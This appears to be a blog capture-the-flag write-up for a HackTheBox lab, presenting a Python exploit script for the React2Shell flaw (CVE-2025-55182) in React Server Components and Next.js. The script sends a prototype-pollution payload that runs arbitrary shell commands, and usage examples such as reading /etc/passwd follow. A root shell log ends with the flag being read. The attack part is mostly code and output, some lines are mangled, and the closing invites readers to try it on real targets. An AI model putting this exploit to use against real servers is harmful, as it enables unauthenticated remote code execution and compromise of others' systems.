RETURN_TO_HOME

Getting React2Shell Vulns Under 1 Minute

Getting React2Shell Vulns Under 1 Minute

Practical script for React2Shell vulnerability, covering CVE-2025-55182 and CVE-2025-66478 fastest interaction.

For overview I already create tweet/PSA notes in here:

And now for an open labs we’re going to use “HackTheBox ReactOOPS”

Target:

http://94.237.49.209:50005/

Since we already know it’s vuln, we can just fire-up our tools:

#!/usr/bin/env python3 """ React2Shell Exploit for covering CVE-2025-55182 """

import requests import sys import argparse import re import json import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def create_multipart_body(command):

"""
Generate the exact multipart payload that matches the working PoC
"""
injection = (
    f"var res=process.mainModule.require('child_process')"
    f".execSync('{command}',{{'timeout':5000}}).toString(). trim();;"
    f"throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"
)
payload_json = json.dumps({
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\\\"then\\\":\\\"$B1337\\\"}",
    "_response": {
        "_prefix": injection,
        "_chunks": "$Q2",
        "_formData": {
            "get": "$1:constructor:constructor"
        }
    }
})
boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
body = (
    f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
    f"Content-Disposition: form-data; name=\"0\"\r\n"
    f"\r\n"
    f"{payload_json}\r\n"
    f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
    f"Content-Disposition: form-data; name=\"1\"\r\n"
    f"\r\n"
    f"\"$@0\"\r\n"
    f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
    f"Content-Disposition: form-data; name=\"2\"\r\n"
    f"\r\n"
    f"[]\r\n"
    f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
)
return body, boundary

def extract_output(response_text):

"""
Extract command output from RSC response
The output appears in format: 1:E{"digest":"OUTPUT_HERE"}
"""
patterns = [
    r'1:E\{"digest":"([^"]*)"\}',
    r'"digest":"([^"]*)"',
    r'"digest":`([^`]*)`',
    r'E\{"digest":"([^"]*)"\}',
]
for pattern in patterns:
    match = re. search(pattern, response_text)
    if match:
        output = match.group(1)
        output = output.replace('\\n', '\n')
        output = output.replace('\\t', '\t')
        output = output.replace('\\r', '\r')
        return output
return None

def exploit(target, command, proxy=None, verbose=False):

"""Execute the exploit"""
url = target. rstrip('/')
body, boundary = create_multipart_body(command)
headers = {
    "User-Agent": "Mozilla/5. 0 (Windows NT 10. 0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0. 0",
    "Next-Action": "x",
    "X-Nextjs-Request-Id": "b5dce965",
    "X-Nextjs-Html-Request-Id": "SSTMXm7OJ_g0Ncx6jpQt9",
    "Content-Type": f"multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad",
}
proxies = {"http": proxy, "https": proxy} if proxy else None
try:
    if verbose:
        print(f"[DEBUG] Sending request to {url}")
        print(f"[DEBUG] Command: {command}")
    response = requests.post(
        url, 
        data=body, 
        headers=headers, 
        proxies=proxies,
        verify=False,
        timeout=15
    )
    if verbose:
        print(f"[DEBUG] Status: {response.status_code}")
        print(f"[DEBUG] Response:\n{response.text[:500]}")
    output = extract_output(response.text)
    if output:
        return True, output
    else:
        return False, f"Could not parse output.  Raw response:\n{response.text}"
except requests.exceptions.Timeout:
    return False, "Request timed out (command may still have executed)"
except Exception as e:
    return False, str(e)

def main():

parser = argparse.ArgumentParser(
    description='React2Shell Exploit - CVE-2025-55182',
    formatter_class=argparse.RawDescriptionHelpFormatter,
    epilog="""

Examples: python3 CVE-2025-55182.py -t https://dev.target.local -c "id" python3 CVE-2025-55182.py -t https://dev.target.local -c "cat /etc/passwd" python3 CVE-2025-55182.py -t https://dev.target.local -i python3 CVE-2025-55182.py -t https://dev.target.local -c "whoami" -v

    """
)
parser.add_argument('-t', '--target', required=True, help='Target URL')
parser.add_argument('-c', '--command', default='id', help='Command to execute')
parser.add_argument('-p', '--proxy', help='Proxy URL (e.g., http://127.0.0.1:8080)')
usage: CVE-2025-55182.py [-h] -t TARGET [-c COMMAND] [-p PROXY] [-i] [-v]
React2Shell Exploit: CVE-2025-55182
options:
  -h, --help            show this help message and exit
  -t, --target TARGET   Target URL
  -c, --command COMMAND
                        Command to execute
  -p, --proxy PROXY     Proxy URL (e.g., http://127.0.0.1:8080)
  -i, --interactive     Interactive mode
  -v, --verbose         Verbose output

Let’s try with our target:

We got RCE,

And we got into the system with just one interactive command and better TTY experience.

<details> <summary>Click to view text output</summary>
react2shell> id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
react2shell> pwd
/app/.next/standalone
react2shell> ls -al
total 32
drwxr-xr-x    1 root     root          4096 Dec  5 14:40 .
drwxr-xr-x    1 root     root          4096 Dec  5 14:40 ..
drwxr-xr-x    1 root     root          4096 Dec  5 14:40 .next
drwxr-xr-x   13 root     root          4096 Dec  5 14:40 node_modules
-rw-r--r--    1 root     root           558 Dec  5 14:40 package.json
drwxr-xr-x    2 root     root          4096 Dec  5 14:40 public
-rw-r--r--    1 root     root          6331 Dec  5 14:40 server.js
react2shell> find / -name “*.txt”
/usr/local/lib/node_modules/npm/node_modules/wrap-ansi/node_modules/emoji-regex/LICENSE-MIT.txt
/usr/local/lib/node_modules/npm/node_modules/@isaacs/cliui/LICENSE.txt
/usr/local/lib/node_modules/npm/node_modules/@isaacs/cliui/node_modules/emoji-regex/LICENSE-MIT.txt
/usr/local/lib/node_modules/npm/node_modules/cssesc/LICENSE-MIT.txt
/usr/local/lib/node_modules/npm/node_modules/signal-exit/LICENSE.txt
/usr/local/lib/node_modules/npm/node_modules/emoji-regex/LICENSE-MIT.txt
/app/flag.txt
/app/node_modules/typescript/LICENSE.txt
/app/node_modules/typescript/ThirdPartyNoticeText.txt
/app/node_modules/baseline-browser-mapping/LICENSE.txt
/app/node_modules/axe-core/LICENSE-3RD-PARTY.txt
/app/node_modules/esquery/license.txt
/app/node_modules/tslib/LICENSE.txt
/app/node_modules/tslib/CopyrightNotice.txt
/app/node_modules/cssesc/LICENSE-MIT.txt
/app/node_modules/next/dist/compiled/@edge-runtime/primitives/load.js.LEGAL.txt
/app/node_modules/next/dist/compiled/@edge-runtime/primitives/stream.js.LEGAL.txt
/app/node_modules/next/dist/compiled/@edge-runtime/primitives/fetch.js.LEGAL.txt
/app/node_modules/next/dist/compiled/@edge-runtime/primitives/crypto.js.LEGAL.txt
/app/node_modules/next/dist/compiled/@edge-runtime/primitives/url.js.LEGAL.txt
/app/node_modules/next/dist/compiled/@edge-runtime/primitives/index.js.LEGAL.txt
/app/node_modules/next/dist/compiled/@edge-runtime/primitives/abort-controller.js.LEGAL.txt
/app/node_modules/next/dist/compiled/@edge-runtime/primitives/events.js.LEGAL.txt
/app/node_modules/next/dist/compiled/@edge-runtime/primitives/timers.js.LEGAL.txt
/app/node_modules/next/dist/compiled/@edge-runtime/primitives/console.js.LEGAL.txt
/app/node_modules/jsesc/LICENSE-MIT.txt
/app/node_modules/punycode/LICENSE-MIT.txt
/app/node_modules/string.prototype.repeat/LICENSE-MIT.txt
/app/node_modules/emoji-regex/LICENSE-MIT.txt
react2shell> cat /app/flag.txt
HTB{jus7_1n_c4s3_y0u_m1ss3d_r34ct2sh3ll___cr1t1c4l_un4uth3nt1c4t3d_RCE_1n_R34ct___CVE-2025-55182}
react2shell> 
</details>

And we get our flag.

You can try the vulns, it’s actively being hunted by others bug hunter, for example Vercel and others:

Goodluck.

Hope you guys like it happy hacking!

Cybersecurity Auditing Tools

Enhance your security posture with ZIntel. Comprehensive auditing and threat intelligence APIs designed for modern infrastructure.